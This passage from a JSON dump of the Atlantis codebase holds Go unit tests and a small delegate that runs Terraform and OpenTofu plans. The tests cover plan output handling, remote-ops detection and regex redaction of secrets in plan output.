storage.\n\n\n------------------------------------------------------------------------\n\nAn execution plan has been generated and is shown below.\nResource actions are indicated with the following symbols:\n  + create\n  ~ update in-place\n  - destroy\n\nTerraform will perform the following actions:\n\n+ null_resource.test[0]\n      id: <computed>\n\n  + null_resource.test[1]\n      id: <computed>\n\n  ~ aws_security_group_rule.allow_all\n      description: \"\" => \"test3\"\n\n  - aws_security_group_rule.allow_all\n`\n\tRegisterMockTestingT(t)\n\tterraform := tfclientmocks.NewMockClient()\n\tcommitStatusUpdater := runtimemocks.NewMockStatusUpdater()\n\tasyncTfExec := runtimemocks.NewMockAsyncTFExec()\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\ttfVersion, _ := version.NewVersion(\"0.10.0\")\n\ts := runtime.NewPlanStepRunner(terraform, tfDistribution, tfVersion, commitStatusUpdater, asyncTfExec)\n\tWhen(terraform.RunCommandWithVersion(\n\t\tAny[command.ProjectContext](),\n\t\tAny[string](),\n\t\tAny[[]string](),\n\t\tAny[map[string]string](),\n\t\tAny[tf.Distribution](),\n\t\tAny[*version.Version](),\n\t\tAny[string]())).\n\t\tThen(func(params []Param) ReturnValues {\n\t\t\t// This code allows us to return different values depending on the\n\t\t\t// tf command being run while still using the wildcard matchers above.\n\t\t\ttfArgs := params[2].([]string)\n\t\t\tif stringSliceEquals(tfArgs, []string{\"workspace\", \"show\"}) {\n\t\t\t\treturn []ReturnValue{\"default\", nil}\n\t\t\t} else if tfArgs[0] == \"plan\" {\n\t\t\t\treturn []ReturnValue{rawOutput, nil}\n\t\t\t}\n\t\t\treturn []ReturnValue{\"\", errors.New(\"unexpected call to RunCommandWithVersion\")}\n\t\t})\n\tactOutput, err := s.Run(command.ProjectContext{Workspace: \"default\"}, nil, \"\", map[string]string(nil))\n\tOk(t, err)\n\tEquals(t, `\nAn execution plan has been generated and is shown below.\nResource actions are indicated with the following symbols:\n+ create\n~ update in-place\n- destroy\n\nTerraform will perform the following actions:\n\n+ null_resource.test[0]\n      id: <computed>\n\n+ null_resource.test[1]\n      id: <computed>\n\n~ aws_security_group_rule.allow_all\n      description: \"\" => \"test3\"\n\n- aws_security_group_rule.allow_all\n`, actOutput)\n}\n\n// Test that even if there's an error, we get the returned output.\nfunc TestRun_OutputOnErr(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tterraform := tfclientmocks.NewMockClient()\n\tcommitStatusUpdater := runtimemocks.NewMockStatusUpdater()\n\tasyncTfExec := runtimemocks.NewMockAsyncTFExec()\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\ttfVersion, _ := version.NewVersion(\"0.10.0\")\n\ts := runtime.NewPlanStepRunner(terraform, tfDistribution, tfVersion, commitStatusUpdater, asyncTfExec)\n\texpOutput := \"expected output\"\n\texpErrMsg := \"error!\"\n\tWhen(terraform.RunCommandWithVersion(\n\t\tAny[command.ProjectContext](),\n\t\tAny[string](),\n\t\tAny[[]string](),\n\t\tAny[map[string]string](),\n\t\tAny[tf.Distribution](),\n\t\tAny[*version.Version](),\n\t\tAny[string]())).\n\t\tThen(func(params []Param) ReturnValues {\n\t\t\t// This code allows us to return different values depending on the\n\t\t\t// tf command being run while still using the wildcard matchers above.\n\t\t\ttfArgs := params[2].([]string)\n\t\t\tif stringSliceEquals(tfArgs, []string{\"workspace\", \"show\"}) {\n\t\t\t\treturn []ReturnValue{\"default\\n\", nil}\n\t\t\t} else if tfArgs[0] == \"plan\" {\n\t\t\t\treturn []ReturnValue{expOutput, errors.New(expErrMsg)}\n\t\t\t}\n\t\t\treturn []ReturnValue{\"\", errors.New(\"unexpected call to RunCommandWithVersion\")}\n\t\t})\n\tactOutput, actErr := s.Run(command.ProjectContext{Workspace: \"default\"}, nil, \"\", map[string]string(nil))\n\tErrEquals(t, expErrMsg, actErr)\n\tEquals(t, expOutput, actOutput)\n}\n\n// Test that if we're using 0.12, we don't set the optional -var atlantis_repo_name\n// flags because in >= 0.12 you can't set -var flags if those variables aren't\n// being used.\nfunc TestRun_NoOptionalVarsIn012(t *testing.T) {\n\tRegisterMockTestingT(t)\n\n\texpPlanArgs := []string{\n\t\t\"plan\",\n\t\t\"-input=false\",\n\t\t\"-refresh\",\n\t\t\"-out\",\n\t\tfmt.Sprintf(\"%q\", \"/path/default.tfplan\"),\n\t\t\"extra\",\n\t\t\"args\",\n\t\t\"comment\",\n\t\t\"args\",\n\t}\n\n\tcases := []struct {\n\t\tname      string\n\t\ttfVersion string\n\t}{\n\t\t{\n\t\t\t\"stable version\",\n\t\t\t\"0.12.0\",\n\t\t},\n\t\t{\n\t\t\t\"with prerelease\",\n\t\t\t\"0.14.0-rc1\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.name, func(t *testing.T) {\n\t\t\tterraform := tfclientmocks.NewMockClient()\n\t\t\tcommitStatusUpdater := runtimemocks.NewMockStatusUpdater()\n\t\t\tasyncTfExec := runtimemocks.NewMockAsyncTFExec()\n\t\t\tWhen(terraform.RunCommandWithVersion(\n\t\t\t\tAny[command.ProjectContext](),\n\t\t\t\tAny[string](),\n\t\t\t\tAny[[]string](),\n\t\t\t\tAny[map[string]string](),\n\t\t\t\tAny[tf.Distribution](),\n\t\t\t\tAny[*version.Version](),\n\t\t\t\tAny[string]())).ThenReturn(\"output\", nil)\n\n\t\t\tmockDownloader := mocks.NewMockDownloader()\n\t\t\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\t\t\ttfVersion, _ := version.NewVersion(c.tfVersion)\n\t\t\ts := runtime.NewPlanStepRunner(terraform, tfDistribution, tfVersion, commitStatusUpdater, asyncTfExec)\n\t\t\tctx := command.ProjectContext{\n\t\t\t\tWorkspace:          \"default\",\n\t\t\t\tRepoRelDir:         \".\",\n\t\t\t\tUser:               models.User{Username: \"username\"},\n\t\t\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\t\t\tPull: models.PullRequest{\n\t\t\t\t\tNum: 2,\n\t\t\t\t},\n\t\t\t\tBaseRepo: models.Repo{\n\t\t\t\t\tFullName: \"owner/repo\",\n\t\t\t\t\tOwner:    \"owner\",\n\t\t\t\t\tName:     \"repo\",\n\t\t\t\t},\n\t\t\t}\n\n\t\t\toutput, err := s.Run(ctx, []string{\"extra\", \"args\"}, \"/path\", map[string]string(nil))\n\t\t\tOk(t, err)\n\t\t\tEquals(t, \"output\", output)\n\n\t\t\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, \"/path\", expPlanArgs, map[string]string(nil), tfDistribution, tfVersion, \"default\")\n\t\t})\n\t}\n\n}\n\n// Test plans if using remote ops.\nfunc TestRun_RemoteOps(t *testing.T) {\n\tcases := []struct {\n\t\tname         string\n\t\ttfVersion    string\n\t\tremoteOpsErr string\n\t}{\n\t\t{\n\t\t\tname:      \"0.11.15 error\",\n\t\t\ttfVersion: \"0.11.15\",\n\t\t\tremoteOpsErr: `Error: Saving a generated plan is currently not supported!\n\nThe \"remote\" backend does not support saving the generated execution\nplan locally at this time.\n\n`,\n\t\t},\n\t\t{\n\t\t\tname:      \"0.12.* error\",\n\t\t\ttfVersion: \"0.12.0\",\n\t\t\tremoteOpsErr: `Error: Saving a generated plan is currently not supported\n\nThe \"remote\" backend does not support saving the generated execution plan\nlocally at this time.\n\n`,\n\t\t},\n\t\t{\n\t\t\tname:      \"1.1.0 error\",\n\t\t\ttfVersion: \"1.1.0\",\n\t\t\tremoteOpsErr: `╷\n│ Error: Saving a generated plan is currently not supported\n│ \n│ Terraform Cloud does not support saving the generated execution plan\n│ locally at this time.\n╵\n`,\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.name, func(t *testing.T) {\n\n\t\t\tlogger := logging.NewNoopLogger(t)\n\t\t\t// Now that mocking is set up, we're ready to run the plan.\n\t\t\tctx := command.ProjectContext{\n\t\t\t\tLog:                logger,\n\t\t\t\tWorkspace:          \"default\",\n\t\t\t\tRepoRelDir:         \".\",\n\t\t\t\tUser:               models.User{Username: \"username\"},\n\t\t\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\t\t\tPull: models.PullRequest{\n\t\t\t\t\tNum: 2,\n\t\t\t\t},\n\t\t\t\tBaseRepo: models.Repo{\n\t\t\t\t\tFullName: \"owner/repo\",\n\t\t\t\t\tOwner:    \"owner\",\n\t\t\t\t\tName:     \"repo\",\n\t\t\t\t},\n\t\t\t}\n\t\t\tRegisterMockTestingT(t)\n\t\t\tterraform := tfclientmocks.NewMockClient()\n\t\t\tcommitStatusUpdater := runtimemocks.NewMockStatusUpdater()\n\t\t\tmockDownloader := mocks.NewMockDownloader()\n\t\t\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\t\t\ttfVersion, _ := version.NewVersion(c.tfVersion)\n\t\t\tasyncTf := &remotePlanMock{}\n\t\t\ts := runtime.NewPlanStepRunner(terraform, tfDistribution, tfVersion, commitStatusUpdater, asyncTf)\n\t\t\tabsProjectPath := t.TempDir()\n\n\t\t\t// First, terraform workspace gets run.\n\t\t\tWhen(terraform.RunCommandWithVersion(\n\t\t\t\tctx,\n\t\t\t\tabsProjectPath,\n\t\t\t\t[]string{\"workspace\", \"show\"},\n\t\t\t\tmap[string]string(nil),\n\t\t\t\ttfDistribution,\n\t\t\t\ttfVersion,\n\t\t\t\t\"default\")).ThenReturn(\"default\\n\", nil)\n\n\t\t\t// Then the first call to terraform plan should return the remote ops error.\n\t\t\texpPlanArgs := []string{\"plan\",\n\t\t\t\t\"-input=false\",\n\t\t\t\t\"-refresh\",\n\t\t\t\t\"-out\",\n\t\t\t\tfmt.Sprintf(\"%q\", filepath.Join(absProjectPath, \"default.tfplan\")),\n\t\t\t\t\"-var\",\n\t\t\t\t\"atlantis_user=\\\"username\\\"\",\n\t\t\t\t\"-var\",\n\t\t\t\t\"atlantis_repo=\\\"owner/repo\\\"\",\n\t\t\t\t\"-var\",\n\t\t\t\t\"atlantis_repo_name=\\\"repo\\\"\",\n\t\t\t\t\"-var\",\n\t\t\t\t\"atlantis_repo_owner=\\\"owner\\\"\",\n\t\t\t\t\"-var\",\n\t\t\t\t\"atlantis_pull_num=2\",\n\t\t\t\t\"extra\",\n\t\t\t\t\"args\",\n\t\t\t\t\"comment\",\n\t\t\t\t\"args\",\n\t\t\t}\n\t\t\tif tfVersion.GreaterThanOrEqual(version.Must(version.NewVersion(\"0.12.0\"))) {\n\t\t\t\texpPlanArgs = []string{\"plan\",\n\t\t\t\t\t\"-input=false\",\n\t\t\t\t\t\"-refresh\",\n\t\t\t\t\t\"-out\",\n\t\t\t\t\tfmt.Sprintf(\"%q\", filepath.Join(absProjectPath, \"default.tfplan\")),\n\t\t\t\t\t\"extra\",\n\t\t\t\t\t\"args\",\n\t\t\t\t\t\"comment\",\n\t\t\t\t\t\"args\",\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tplanErr := errors.New(\"exit status 1: err\")\n\t\t\tplanOutput := \"\\n\" + c.remoteOpsErr\n\t\t\tasyncTf.LinesToSend = remotePlanOutput\n\t\t\tWhen(terraform.RunCommandWithVersion(ctx, absProjectPath, expPlanArgs, map[string]string(nil), tfDistribution, tfVersion, \"default\")).\n\t\t\t\tThenReturn(planOutput, planErr)\n\n\t\t\toutput, err := s.Run(ctx, []string{\"extra\", \"args\"}, absProjectPath, map[string]string(nil))\n\t\t\tOk(t, err)\n\t\t\tAssert(t, strings.Contains(output, `\nAn execution plan has been generated and is shown below.\nResource actions are indicated with the following symbols:\n- destroy\n\nTerraform will perform the following actions:\n\n- null_resource.hi[1]\n\n\nPlan: 0 to add, 0 to change, 1 to destroy.`), \"expect plan success\")\n\n\t\t\texpRemotePlanArgs := []string{\"plan\", \"-input=false\", \"-refresh\", \"-no-color\", \"extra\", \"args\", \"comment\", \"args\"}\n\t\t\tEquals(t, expRemotePlanArgs, asyncTf.CalledArgs)\n\n\t\t\t// Verify that the fake plan file we write has the correct contents.\n\t\t\tbytes, err := os.ReadFile(filepath.Join(absProjectPath, \"default.tfplan\"))\n\t\t\tOk(t, err)\n\t\t\tAssert(t, strings.HasPrefix(string(bytes), \"Atlantis: this plan was created by remote ops\"), \"expect remote plan\")\n\n\t\t\t// Ensure that the status was updated with the runURL.\n\t\t\trunURL := \"https://app.terraform.io/app/lkysow-enterprises/atlantis-tfe-test/runs/run-is4oVvJfrkud1KvE\"\n\t\t\tcommitStatusUpdater.VerifyWasCalledOnce().UpdateProject(ctx, command.Plan, models.PendingCommitStatus, runURL, nil)\n\t\t\tcommitStatusUpdater.VerifyWasCalledOnce().UpdateProject(ctx, command.Plan, models.SuccessCommitStatus, runURL, nil)\n\t\t})\n\t}\n}\n\n// Test striping output method\nfunc TestStripRefreshingFromPlanOutput(t *testing.T) {\n\ttfVersion0135, _ := version.NewVersion(\"0.13.5\")\n\ttfVersion0140, _ := version.NewVersion(\"0.14.0\")\n\tcases := []struct {\n\t\tout       string\n\t\ttfVersion *version.Version\n\t}{\n\t\t{\n\t\t\tremotePlanOutput,\n\t\t\ttfVersion0135,\n\t\t},\n\t\t{\n\t\t\t`Running plan in the remote backend. Output will stream here. Pressing Ctrl-C\nwill stop streaming the logs, but will not stop the plan running remotely.\n\nPreparing the remote plan...\n\nTo view this run in a browser, visit:\nhttps://app.terraform.io/app/lkysow-enterprises/atlantis-tfe-test/runs/run-is4oVvJfrkud1KvE\n\nWaiting for the plan to start...\n\nTerraform v0.14.0\n\nConfiguring remote state backend...\nInitializing Terraform configuration...\n2019/02/20 22:40:52 [DEBUG] Using modified User-Agent: Terraform/0.14.0TFE/202eeff\nRefreshing Terraform state in-memory prior to plan...\nThe refreshed state will be used to calculate this plan, but will not be\npersisted to local or remote state storage.\n\nnull_resource.hi: Refreshing state... (ID: 217661332516885645)\nnull_resource.hi[1]: Refreshing state... (ID: 6064510335076839362)\n\nAn execution plan has been generated and is shown below.\nResource actions are indicated with the following symbols:\n  - destroy\n\nTerraform will perform the following actions:\n\n  - null_resource.hi[1]\n\n\nPlan: 0 to add, 0 to change, 1 to destroy.`,\n\t\t\ttfVersion0140,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\toutput := runtime.StripRefreshingFromPlanOutput(c.out, c.tfVersion)\n\t\tEquals(t, `\nAn execution plan has been generated and is shown below.\nResource actions are indicated with the following symbols:\n  - destroy\n\nTerraform will perform the following actions:\n\n  - null_resource.hi[1]\n\n\nPlan: 0 to add, 0 to change, 1 to destroy.`, output)\n\t}\n}\n\nfunc TestPlanStepRunner_TestRun_UsesConfiguredDistribution(t *testing.T) {\n\tRegisterMockTestingT(t)\n\n\texpPlanArgs := []string{\n\t\t\"plan\",\n\t\t\"-input=false\",\n\t\t\"-refresh\",\n\t\t\"-out\",\n\t\tfmt.Sprintf(\"%q\", \"/path/default.tfplan\"),\n\t\t\"extra\",\n\t\t\"args\",\n\t\t\"comment\",\n\t\t\"args\",\n\t}\n\n\tcases := []struct {\n\t\tname           string\n\t\ttfVersion      string\n\t\ttfDistribution string\n\t}{\n\t\t{\n\t\t\t\"stable version\",\n\t\t\t\"0.12.0\",\n\t\t\t\"terraform\",\n\t\t},\n\t\t{\n\t\t\t\"with prerelease\",\n\t\t\t\"0.14.0-rc1\",\n\t\t\t\"opentofu\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.name, func(t *testing.T) {\n\t\t\tterraform := tfclientmocks.NewMockClient()\n\t\t\tcommitStatusUpdater := runtimemocks.NewMockStatusUpdater()\n\t\t\tasyncTfExec := runtimemocks.NewMockAsyncTFExec()\n\t\t\tWhen(terraform.RunCommandWithVersion(\n\t\t\t\tAny[command.ProjectContext](),\n\t\t\t\tAny[string](),\n\t\t\t\tAny[[]string](),\n\t\t\t\tAny[map[string]string](),\n\t\t\t\tAny[tf.Distribution](),\n\t\t\t\tAny[*version.Version](),\n\t\t\t\tAny[string]())).ThenReturn(\"output\", nil)\n\n\t\t\tmockDownloader := mocks.NewMockDownloader()\n\t\t\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\t\t\ttfVersion, _ := version.NewVersion(c.tfVersion)\n\t\t\ts := runtime.NewPlanStepRunner(terraform, tfDistribution, tfVersion, commitStatusUpdater, asyncTfExec)\n\t\t\tctx := command.ProjectContext{\n\t\t\t\tWorkspace:          \"default\",\n\t\t\t\tRepoRelDir:         \".\",\n\t\t\t\tUser:               models.User{Username: \"username\"},\n\t\t\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\t\t\tPull: models.PullRequest{\n\t\t\t\t\tNum: 2,\n\t\t\t\t},\n\t\t\t\tBaseRepo: models.Repo{\n\t\t\t\t\tFullName: \"owner/repo\",\n\t\t\t\t\tOwner:    \"owner\",\n\t\t\t\t\tName:     \"repo\",\n\t\t\t\t},\n\t\t\t\tTerraformDistribution: &c.tfDistribution,\n\t\t\t}\n\n\t\t\toutput, err := s.Run(ctx, []string{\"extra\", \"args\"}, \"/path\", map[string]string(nil))\n\t\t\tOk(t, err)\n\t\t\tEquals(t, \"output\", output)\n\n\t\t\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(ctx), Eq(\"/path\"), Eq(expPlanArgs), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq(\"default\"))\n\t\t})\n\t}\n\n}\n\nfunc TestFilterRegexFromPlanOutput(t *testing.T) {\n\tcases := []struct {\n\t\tin             string\n\t\tregex          *regexp.Regexp\n\t\texpectedResult string\n\t}{\n\t\t{\n\t\t\t\"foobar\",\n\t\t\tregexp.MustCompile(\"f\"),\n\t\t\t\"<redacted>oobar\",\n\t\t},\n\t\t{\n\t\t\t\"foobar\",\n\t\t\tregexp.MustCompile(\"(f)\"),\n\t\t\t\"f<redacted>oobar\",\n\t\t},\n\t\t{\n\t\t\t\"foobar\",\n\t\t\tregexp.MustCompile(\"(f)oo(bar)\"),\n\t\t\t\"f<redacted>bar\",\n\t\t},\n\t\t{\n\t\t\tremotePlanOutput,\n\t\t\tnil,\n\t\t\tremotePlanOutput,\n\t\t},\n\t\t{\n\t\t\tremotePlanOutputSensitive,\n\t\t\tregexp.MustCompile(`((?i)secret:\\s\")[^\"]*`),\n\t\t\tremotePlanOutputSensitiveMasked,\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\toutput := runtime.FilterRegexFromPlanOutput(c.in, c.regex)\n\t\tEquals(t, c.expectedResult, output)\n\t}\n}\n\ntype remotePlanMock struct {\n\t// LinesToSend will be sent on the channel.\n\tLinesToSend string\n\t// CalledArgs is what args we were called with.\n\tCalledArgs []string\n}\n\nfunc (r *remotePlanMock) RunCommandAsync(_ command.ProjectContext, _ string, args []string, _ map[string]string, _ tf.Distribution, _ *version.Version, _ string) (chan<- string, <-chan runtimemodels.Line) {\n\tr.CalledArgs = args\n\tin := make(chan string)\n\tout := make(chan runtimemodels.Line)\n\tgo func() {\n\t\tfor line := range strings.SplitSeq(r.LinesToSend, \"\\n\") {\n\t\t\tout <- runtimemodels.Line{Line: line}\n\t\t}\n\t\tclose(out)\n\t\tclose(in)\n\t}()\n\treturn in, out\n}\n\nfunc stringSliceEquals(a, b []string) bool {\n\tif len(a) != len(b) {\n\t\treturn false\n\t}\n\tfor i, v := range a {\n\t\tif v != b[i] {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\nvar remotePlanOutput = `Running plan in the remote backend. Output will stream here. Pressing Ctrl-C\nwill stop streaming the logs, but will not stop the plan running remotely.\n\nPreparing the remote plan...\n\nTo view this run in a browser, visit:\nhttps://app.terraform.io/app/lkysow-enterprises/atlantis-tfe-test/runs/run-is4oVvJfrkud1KvE\n\nWaiting for the plan to start...\n\nTerraform v0.11.11\n\nConfiguring remote state backend...\nInitializing Terraform configuration...\n2019/02/20 22:40:52 [DEBUG] Using modified User-Agent: Terraform/0.11.11 TFE/202eeff\nRefreshing Terraform state in-memory prior to plan...\nThe refreshed state will be used to calculate this plan, but will not be\npersisted to local or remote state storage.\n\nnull_resource.hi: Refreshing state... (ID: 217661332516885645)\nnull_resource.hi[1]: Refreshing state... (ID: 6064510335076839362)\n\n------------------------------------------------------------------------\n\nAn execution plan has been generated and is shown below.\nResource actions are indicated with the following symbols:\n  - destroy\n\nTerraform will perform the following actions:\n\n  - null_resource.hi[1]\n\n\nPlan: 0 to add, 0 to change, 1 to destroy.`\n\nvar remotePlanOutputSensitive = `Terraform will perform the following actions:\n  # kubectl_manifest.test[0] will be updated in-place\n!   resource \"kubectl_manifest\" \"test\" {\n        id                      = \"/apis/argoproj.io/v1alpha1/namespaces/test/applications/test\"\n        name                    = \"test\"\n!       yaml_body               = (sensitive value)\n!       yaml_body_parsed        = <<-EOT\n            apiVersion: argoproj.io/v1alpha1\n            kind: Application\n            metadata:\n              name: test\n              namespace: test\n            spec:\n              destination:\n                namespace: test\n                server: https://kubernetes.default.svc\n              project: default\n              source:\n                helm:\n                  values: |-\n-                   clientID: \"test_id\"\n-                   clientSecret: \"super_secret_old\"\n+                   clientID: \"test_id\"\n+                   clientSecret: \"super_secret_new\"\n        EOT\n    }\nPlan: 0 to add, 1 to change, 0 to destroy.`\n\nvar remotePlanOutputSensitiveMasked = `Terraform will perform the following actions:\n  # kubectl_manifest.test[0] will be updated in-place\n!   resource \"kubectl_manifest\" \"test\" {\n        id                      = \"/apis/argoproj.io/v1alpha1/namespaces/test/applications/test\"\n        name                    = \"test\"\n!       yaml_body               = (sensitive value)\n!       yaml_body_parsed        = <<-EOT\n            apiVersion: argoproj.io/v1alpha1\n            kind: Application\n            metadata:\n              name: test\n              namespace: test\n            spec:\n              destination:\n                namespace: test\n                server: https://kubernetes.default.svc\n              project: default\n              source:\n                helm:\n                  values: |-\n-                   clientID: \"test_id\"\n-                   clientSecret: \"<redacted>\"\n+                   clientID: \"test_id\"\n+                   clientSecret: \"<redacted>\"\n        EOT\n    }\nPlan: 0 to add, 1 to change, 0 to destroy.`\n"
  },
  {
    "path": "server/core/runtime/plan_type_step_runner_delegate.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n)\n\nfunc NewPlanTypeStepRunnerDelegate(defaultRunner Runner, remotePlanRunner Runner) Runner {\n\treturn &planTypeStepRunnerDelegate{\n\t\tdefaultRunner:    defaultRunner,\n\t\tremotePlanRunner: remotePlanRunner,\n\t}\n}\n\n// planTypeStepRunnerDelegate delegates based on the type of plan, ie. remote backend which doesn't support certain functions\ntype planTypeStepRunnerDelegate struct {\n\tdefaultRunner    Runner\n\tremotePlanRunner Runner\n}\n\nfunc (p *planTypeStepRunnerDelegate) isRemotePlan(planFile string) (bool, error) {\n\tdata, err := os.ReadFile(planFile)\n\n\tif err != nil {\n\t\treturn false, fmt.Errorf(\"unable to read %s: %w\", planFile, err)\n\t}\n\n\treturn IsRemotePlan(data), nil\n}\n\nfunc (p *planTypeStepRunnerDelegate) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) {\n\tplanFile := filepath.Join(path, GetPlanFilename(ctx.Workspace, ctx.ProjectName))\n\tremotePlan, err := p.isRemotePlan(planFile)\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif remotePlan {\n\t\treturn p.remotePlanRunner.Run(ctx, extraArgs, path, envs)\n\t}\n\n\treturn p.defaultRunner.Run(ctx, extraArgs, path, envs)\n}\n"
  },
  {
    "path": "server/core/runtime/plan_type_step_runner_delegate_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"errors\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\n\t\"github.com/runatlantis/atlantis/server/core/runtime/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n)\n\nvar planFileContents = `\nAn execution plan has been generated and is shown below.\nResource actions are indicated with the following symbols:\n  - destroy\n\nTerraform will perform the following actions:\n\n  - null_resource.hi[1]\n\n\nPlan: 0 to add, 0 to change, 1 to destroy.`\n\nfunc TestRunDelegate(t *testing.T) {\n\n\tRegisterMockTestingT(t)\n\n\tmockDefaultRunner := mocks.NewMockRunner()\n\tmockRemoteRunner := mocks.NewMockRunner()\n\n\tsubject := &planTypeStepRunnerDelegate{\n\t\tdefaultRunner:    mockDefaultRunner,\n\t\tremotePlanRunner: mockRemoteRunner,\n\t}\n\n\ttfVersion, _ := version.NewVersion(\"0.12.0\")\n\n\tt.Run(\"Remote Runner Success\", func(t *testing.T) {\n\t\ttmpDir := t.TempDir()\n\t\tplanPath := filepath.Join(tmpDir, \"workspace.tfplan\")\n\t\terr := os.WriteFile(planPath, []byte(\"Atlantis: this plan was created by remote ops\\n\"+planFileContents), 0600)\n\t\tOk(t, err)\n\n\t\tctx := command.ProjectContext{\n\t\t\tWorkspace:          \"workspace\",\n\t\t\tRepoRelDir:         \".\",\n\t\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\t\tTerraformVersion:   tfVersion,\n\t\t}\n\t\textraArgs := []string{\"extra\", \"args\"}\n\t\tenvs := map[string]string{}\n\n\t\texpectedOut := \"some random output\"\n\n\t\tWhen(mockRemoteRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, nil)\n\n\t\toutput, err := subject.Run(ctx, extraArgs, tmpDir, envs)\n\n\t\tmockDefaultRunner.VerifyWasCalled(Never())\n\n\t\tEquals(t, expectedOut, output)\n\t\tOk(t, err)\n\n\t})\n\n\tt.Run(\"Remote Runner Failure\", func(t *testing.T) {\n\t\ttmpDir := t.TempDir()\n\t\tplanPath := filepath.Join(tmpDir, \"workspace.tfplan\")\n\t\terr := os.WriteFile(planPath, []byte(\"Atlantis: this plan was created by remote ops\\n\"+planFileContents), 0600)\n\t\tOk(t, err)\n\n\t\tctx := command.ProjectContext{\n\t\t\tWorkspace:          \"workspace\",\n\t\t\tRepoRelDir:         \".\",\n\t\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\t\tTerraformVersion:   tfVersion,\n\t\t}\n\t\textraArgs := []string{\"extra\", \"args\"}\n\t\tenvs := map[string]string{}\n\n\t\texpectedOut := \"some random output\"\n\n\t\tWhen(mockRemoteRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, errors.New(\"err\"))\n\n\t\toutput, err := subject.Run(ctx, extraArgs, tmpDir, envs)\n\n\t\tmockDefaultRunner.VerifyWasCalled(Never())\n\n\t\tEquals(t, expectedOut, output)\n\t\tAssert(t, err != nil, \"err should not be nil\")\n\n\t})\n\n\tt.Run(\"Local Runner Success\", func(t *testing.T) {\n\t\ttmpDir := t.TempDir()\n\t\tplanPath := filepath.Join(tmpDir, \"workspace.tfplan\")\n\t\terr := os.WriteFile(planPath, []byte(planFileContents), 0600)\n\t\tOk(t, err)\n\n\t\tctx := command.ProjectContext{\n\t\t\tWorkspace:          \"workspace\",\n\t\t\tRepoRelDir:         \".\",\n\t\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\t\tTerraformVersion:   tfVersion,\n\t\t}\n\t\textraArgs := []string{\"extra\", \"args\"}\n\t\tenvs := map[string]string{}\n\n\t\texpectedOut := \"some random output\"\n\n\t\tWhen(mockDefaultRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, nil)\n\n\t\toutput, err := subject.Run(ctx, extraArgs, tmpDir, envs)\n\n\t\tmockRemoteRunner.VerifyWasCalled(Never())\n\n\t\tEquals(t, expectedOut, output)\n\t\tOk(t, err)\n\n\t})\n\n\tt.Run(\"Local Runner Failure\", func(t *testing.T) {\n\t\ttmpDir := t.TempDir()\n\t\tplanPath := filepath.Join(tmpDir, \"workspace.tfplan\")\n\t\terr := os.WriteFile(planPath, []byte(planFileContents), 0600)\n\t\tOk(t, err)\n\n\t\tctx := command.ProjectContext{\n\t\t\tWorkspace:          \"workspace\",\n\t\t\tRepoRelDir:         \".\",\n\t\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\t\tTerraformVersion:   tfVersion,\n\t\t}\n\t\textraArgs := []string{\"extra\", \"args\"}\n\t\tenvs := map[string]string{}\n\n\t\texpectedOut := \"some random output\"\n\n\t\tWhen(mockDefaultRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, errors.New(\"err\"))\n\n\t\toutput, err := subject.Run(ctx, extraArgs, tmpDir, envs)\n\n\t\tmockRemoteRunner.VerifyWasCalled(Never())\n\n\t\tEquals(t, expectedOut, output)\n\t\tAssert(t, err != nil, \"err should not be nil\")\n\n\t})\n\n}\n\nvar openTofuPlanFileContents = `\nAn execution plan has been generated and is shown below.\nResource actions are indicated with the following symbols:\n  - destroy\n\nOpenTofu will perform the following actions:\n\n  - null_resource.hi[1]\n\n\nPlan: 0 to add, 0 to change, 1 to destroy.`\n\nfunc TestRunDelegate_UsesConfiguredDistribution(t *testing.T) {\n\n\tRegisterMockTestingT(t)\n\n\tmockDefaultRunner := mocks.NewMockRunner()\n\tmockRemoteRunner := mocks.NewMockRunner()\n\n\tsubject := &planTypeStepRunnerDelegate{\n\t\tdefaultRunner:    mockDefaultRunner,\n\t\tremotePlanRunner: mockRemoteRunner,\n\t}\n\n\ttfDistribution := \"opentofu\"\n\ttfVersion, _ := 